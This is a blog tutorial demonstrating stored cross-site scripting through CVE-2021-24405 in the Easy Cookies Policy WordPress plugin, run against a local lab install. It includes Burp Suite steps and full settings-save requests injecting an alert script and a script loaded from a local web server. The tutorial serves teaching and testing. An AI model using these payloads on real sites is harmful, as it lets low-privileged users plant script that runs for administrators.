WordPress is secure by design but are its plug-ins? Short answer is “not all of them”. If you are running a WordPress blog you need to make sure you understand what it means to be secure. Just patching it doesn’t mean your site is not exposed for attack. In this post I am going to take a look a WordPress plugin that that has a Stored XSS vulnerability and show and example of how it’s exploited.
CVE-2021-24405 refers to the Easy Cookies Policy WordPress plugin through 1.6.2 is lacking any capability and CSRF check when saving its settings, allowing any authenticated users (such as subscriber) to change them.
Stored XSS
Port Swagger defines a Stored XSS as
Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.
https://portswigger.net/web-security/cross-site-scripting/stored
Simply put, it allows the site to store code that will be executed every time the page is loaded. For example if there is a XSS vulnerability in a comment section on a website then every time that comment is loaded the code will be executed.
What’s the worse that could happen…
Exploiting CVE-2021-24405
The Easy Cookies Policy displays the cookie information so that you can accept the policy. Unfortunately the text here is vulnerable to cross site scripting. And to make it worse any user can update the content. This means a basic user can update the contents of the cookie and then its stored. If anyone, including the admin, logs in later, then this script is executed!
Do not click “Accept” as we need to this to create the exploit.
Setup
Enumeration System
I will use a standard Kali Install with Burpsuite, Docker and docker-compose installed.
DVWP
Damn Venerable WordPress is a docker-compose WordPress config that you can spin up on your Enumeration system. It will only work on the IP address http://127.0.0.1:8008 as you really don’t want thing available on your network. You can head on over to my github page to install it.
For the rest of this post I will presume you have WordPress running on http://127.0.0.1:8008. Once installed you can take a look at my post on how to scan it for plugins using wpscan.
You will two users in DVWP,
UserName | Password |
admin | admin |
bob | letmein |
XSS Alert
In this section we will work though a WordPress Stored XSS Example. So lets get going. Browser and Burpsuite
Launch Burpsuite and its web browser. Set the intercept to off and the browser head on over to “http://127.0.0.1:8008/wp-login.php” and login as bob with password “letmein”.
Go to the posts section and “view” the “Hack Me if You Can” page in a different tab. So one tab for the WordPress dashboard and one for the post. In this second page you can see the “cookie alert” at the top of the page. Don’t accept this! We will need it later.
Go back to burpsuite and enable the Proxy Interceptor. In the web browser click between the two tabs and eventually you see a “admin-ajax.php” request.
The last line of this request is what we modify and replace with our payload. In this case replace the payload with.
action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd
This sets the colour, text and format of that alert box. And it sets it for all users. This payload can be forwarded and teh intercept for burpsuite can be disabled. Now this cookie set up is valid for all users.
Go back to the page you opened and refresh it.
Instead of the cookie alert you get a different alert box that shows just the number 1.
XSS Remote Alert
As a prove of concept you can also store the script remotely and run the command from there. For this its required to set up some scripts and a http server to service them.
Web Server and Script
Open up a terminal and create the file “script_alert.js” with the contents
function helloWorld()
{
alert("Hello world");
}
helloWorld();
Save the file and from the same directory launch a python web server.
python3 -m http.server
Like above we turn on the intercepter for BurpSuite and wait for an admin-ajax.php request. By clicking between the two tabs in the web browser usually triggers this for me.
Replace the last line with the following code and forward it.
action=easy_cookies_policy_save_settings&maintext=<script src='//127.0.01:8000/script_alert.js'></script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd
Once forwarded disable the proxy interceptor in BurpSuite. Then go back to your browser and refresh the page.
This cookie is now the same for all users when they login.
Taking it further
If I log out as bob and back in as “admin” we can see the same xss code is run.
Because this XSS code is permanently stored for all users, it can trigger something really nasty if an admin was to login. Perhaps elevate privileges, create admin users, scan your subnet.
Wrap-Up
I hope that you got some value from my post on “WordPress Stored XSS Example”. Be sure you are keeping your blog secure by running wpscan against it regularly so you are not using old and forgotten plugins.
I hope this post was of value to you and if you would like to leave a comment, then post it below and I will follow up.